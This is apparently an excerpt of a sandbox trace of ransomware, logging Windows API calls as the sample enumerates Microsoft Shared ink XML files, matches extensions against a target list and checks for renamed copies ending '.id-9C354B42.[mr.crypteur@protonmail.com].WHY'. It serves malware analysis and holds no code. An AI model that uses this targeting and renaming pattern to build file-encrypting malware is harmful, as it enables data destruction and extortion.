lstrlenW (lpString=".7z") returned 3 [0072.907] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0072.907] lstrlenW (lpString=".dbf") returned 4 [0072.907] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0072.907] lstrlenW (lpString=".1cd") returned 4 [0072.907] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0072.908] lstrlenW (lpString=".jpg") returned 4 [0072.908] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.908] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0072.908] lstrlenW (lpString="base_kor.xml") returned 12 [0072.908] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0072.912] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x28fff1c | out: lpFileSize=0x28fff1c*=488) returned 1 [0072.912] CloseHandle (hObject=0x1c8) returned 1 [0072.913] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml")) returned 0x20 [0072.913] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0072.913] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0072.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0072.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0072.913] lstrlenW (lpString=".doc") returned 4 [0072.914] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.914] lstrlenW (lpString=".docx") returned 5 [0072.914] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0072.914] lstrlenW (lpString=".pdf") returned 4 [0072.914] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.914] lstrlenW (lpString=".xls") returned 4 [0072.914] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.914] lstrlenW (lpString=".xlsx") returned 5 [0072.914] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0072.914] lstrlenW (lpString=".ppt") returned 4 [0072.914] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0072.914] lstrlenW (lpString=".zip") returned 4 [0072.914] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.914] lstrlenW (lpString=".rar") returned 4 [0072.914] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.915] lstrlenW (lpString=".bz2") returned 4 [0072.915] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.915] lstrlenW (lpString=".7z") returned 3 [0072.915] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0072.915] lstrlenW (lpString=".dbf") returned 4 [0072.915] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0072.915] lstrlenW (lpString=".1cd") returned 4 [0072.915] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0072.915] lstrlenW (lpString=".jpg") returned 4 [0072.916] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0072.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0072.916] lstrlenW (lpString=".doc") returned 4 [0072.916] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.916] lstrlenW (lpString=".docx") returned 5 [0072.916] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0072.916] lstrlenW (lpString=".pdf") returned 4 [0072.916] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.916] lstrlenW (lpString=".xls") returned 4 [0072.916] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.916] lstrlenW (lpString=".xlsx") returned 5 [0072.916] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0072.917] lstrlenW (lpString=".ppt") returned 4 [0072.917] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0072.917] lstrlenW (lpString=".zip") returned 4 [0072.917] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.917] lstrlenW (lpString=".rar") returned 4 [0072.918] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.918] lstrlenW (lpString=".bz2") returned 4 [0072.918] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.918] lstrlenW (lpString=".7z") returned 3 [0072.918] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0072.918] lstrlenW (lpString=".dbf") returned 4 [0072.918] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0072.918] lstrlenW (lpString=".1cd") returned 4 [0072.918] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0072.919] lstrlenW (lpString=".jpg") returned 4 [0072.919] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.919] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0072.919] lstrlenW (lpString="base_rtl.xml") returned 12 [0072.919] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0072.920] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x28fff1c | out: lpFileSize=0x28fff1c*=617) returned 1 [0072.920] CloseHandle (hObject=0x1c8) returned 1 [0072.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml")) returned 0x20 [0072.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0072.921] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0072.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0072.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0072.921] lstrlenW (lpString=".doc") returned 4 [0072.921] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.921] lstrlenW (lpString=".docx") returned 5 [0072.921] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0072.921] lstrlenW (lpString=".pdf") returned 4 [0072.921] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.921] lstrlenW (lpString=".xls") returned 4 [0072.921] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.921] lstrlenW (lpString=".xlsx") returned 5 [0072.921] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0072.922] lstrlenW (lpString=".ppt") returned 4 [0072.922] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0072.922] lstrlenW (lpString=".zip") returned 4 [0072.922] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.922] lstrlenW (lpString=".rar") returned 4 [0072.922] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.922] lstrlenW (lpString=".bz2") returned 4 [0072.922] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.922] lstrlenW (lpString=".7z") returned 3 [0072.922] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0072.922] lstrlenW (lpString=".dbf") returned 4 [0072.922] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0072.923] lstrlenW (lpString=".1cd") returned 4 [0072.923] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0072.923] lstrlenW (lpString=".jpg") returned 4 [0072.923] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0072.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0072.923] lstrlenW (lpString=".doc") returned 4 [0072.923] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.923] lstrlenW (lpString=".docx") returned 5 [0072.923] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0072.923] lstrlenW (lpString=".pdf") returned 4 [0072.924] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.924] lstrlenW (lpString=".xls") returned 4 [0072.924] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.924] lstrlenW (lpString=".xlsx") returned 5 [0072.924] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0072.924] lstrlenW (lpString=".ppt") returned 4 [0072.924] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0072.924] lstrlenW (lpString=".zip") returned 4 [0072.924] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.924] lstrlenW (lpString=".rar") returned 4 [0072.924] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.924] lstrlenW (lpString=".bz2") returned 4 [0072.924] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.925] lstrlenW (lpString=".7z") returned 3 [0072.925] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0072.925] lstrlenW (lpString=".dbf") returned 4 [0072.925] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0072.925] lstrlenW (lpString=".1cd") returned 4 [0072.925] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0072.925] lstrlenW (lpString=".jpg") returned 4 [0072.925] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.926] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0072.926] lstrlenW (lpString="ja-jp.xml") returned 9 [0072.926] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0072.930] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x28fff1c | out: lpFileSize=0x28fff1c*=16616) returned 1 [0072.930] CloseHandle (hObject=0x1e4) returned 1 [0072.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml")) returned 0x20 [0072.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0072.930] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0072.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0072.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0072.931] lstrlenW (lpString=".doc") returned 4 [0072.931] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.931] lstrlenW (lpString=".docx") returned 5 [0072.931] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0072.931] lstrlenW (lpString=".pdf") returned 4 [0072.931] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.931] lstrlenW (lpString=".xls") returned 4 [0072.931] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.931] lstrlenW (lpString=".xlsx") returned 5 [0072.931] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0072.931] lstrlenW (lpString=".ppt") returned 4 [0072.931] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0072.931] lstrlenW (lpString=".zip") returned 4 [0072.931] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.931] lstrlenW (lpString=".rar") returned 4 [0072.932] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.932] lstrlenW (lpString=".bz2") returned 4 [0072.932] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.932] lstrlenW (lpString=".7z") returned 3 [0072.932] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0072.932] lstrlenW (lpString=".dbf") returned 4 [0072.932] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0072.932] lstrlenW (lpString=".1cd") returned 4 [0072.932] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0073.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0073.329] lstrlenW (lpString=".jpg") returned 4 [0073.329] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0073.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0073.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0073.330] lstrlenW (lpString=".doc") returned 4 [0073.330] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0073.330] lstrlenW (lpString=".docx") returned 5 [0073.330] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0073.330] lstrlenW (lpString=".pdf") returned 4 [0073.330] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0073.330] lstrlenW (lpString=".xls") returned 4 [0073.331] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0073.331] lstrlenW (lpString=".xlsx") returned 5 [0073.331] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0073.331] lstrlenW (lpString=".ppt") returned 4 [0073.331] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0073.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0073.331] lstrlenW (lpString=".zip") returned 4 [0073.331] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0073.331] lstrlenW (lpString=".rar") returned 4 [0073.331] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0073.331] lstrlenW (lpString=".bz2") returned 4 [0073.332] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0073.332] lstrlenW (lpString=".7z") returned 3 [0073.332] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0073.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0073.332] lstrlenW (lpString=".dbf") returned 4 [0073.332] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0073.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0073.332] lstrlenW (lpString=".1cd") returned 4 [0073.332] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0073.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0073.332] lstrlenW (lpString=".jpg") returned 4 [0073.332] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0073.333] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0073.333] lstrlenW (lpString="zh-phonetic.xml") returned 15 [0073.333] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0074.524] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x28fff1c | out: lpFileSize=0x28fff1c*=10947) returned 1 [0074.525] CloseHandle (hObject=0x210) returned 1 [0074.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml")) returned 0x20 [0074.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0074.525] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0074.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0074.525] lstrlenW (lpString=".doc") returned 4 [0074.525] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0074.525] lstrlenW (lpString=".docx") returned 5 [0074.526] lstrcmpiW (lpString1=".docx", lpString2="c.xml") returned -1 [0074.526] lstrlenW (lpString=".pdf") returned 4 [0074.526] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0074.526] lstrlenW (lpString=".xls") returned 4 [0074.526] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0074.526] lstrlenW (lpString=".xlsx") returned 5 [0074.526] lstrcmpiW (lpString1=".xlsx", lpString2="c.xml") returned -1 [0074.526] lstrlenW (lpString=".ppt") returned 4 [0074.526] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0074.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0074.526] lstrlenW (lpString=".zip") returned 4 [0074.526] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0074.527] lstrlenW (lpString=".rar") returned 4 [0074.527] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0074.527] lstrlenW (lpString=".bz2") returned 4 [0074.527] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0074.527] lstrlenW (lpString=".7z") returned 3 [0074.527] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0074.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0074.527] lstrlenW (lpString=".dbf") returned 4 [0074.527] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0074.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0074.527] lstrlenW (lpString=".1cd") returned 4 [0074.527] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0074.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0074.528] lstrlenW (lpString=".jpg") returned 4 [0074.528] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0074.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0074.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0074.528] lstrlenW (lpString=".doc") returned 4 [0074.528] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0074.528] lstrlenW (lpString=".docx") returned 5 [0074.528] lstrcmpiW (lpString1=".docx", lpString2="c.xml") returned -1 [0074.528] lstrlenW (lpString=".pdf") returned 4 [0074.528] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0074.529] lstrlenW (lpString=".xls") returned 4 [0074.529] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0074.529] lstrlenW (lpString=".xlsx") returned 5 [0074.529] lstrcmpiW (lpString1=".xlsx", lpString2="c.xml") returned -1 [0074.529] lstrlenW (lpString=".ppt") returned 4 [0074.529] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0074.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0074.529] lstrlenW (lpString=".zip") returned 4 [0074.529] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0074.529] lstrlenW (lpString=".rar") returned 4 [0074.529] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0074.529] lstrlenW (lpString=".bz2") returned 4 [0074.530] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0074.530] lstrlenW (lpString=".7z") returned 3 [0074.530] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0074.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0074.530] lstrlenW (lpString=".dbf") returned 4 [0074.530] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0074.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0074.530] lstrlenW (lpString=".1cd") returned 4 [0074.530] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0074.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0074.530] lstrlenW (lpString=".jpg") returned 4 [0074.530] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0074.531] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0074.531] lstrlenW (lpString="oskpredbase.xml") returned 15 [0074.531] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0074.565] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x28fff1c | out: lpFileSize=0x28fff1c*=924) returned 1 [0074.566] CloseHandle (hObject=0x1c8) returned 1 [0074.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml")) returned 0x20 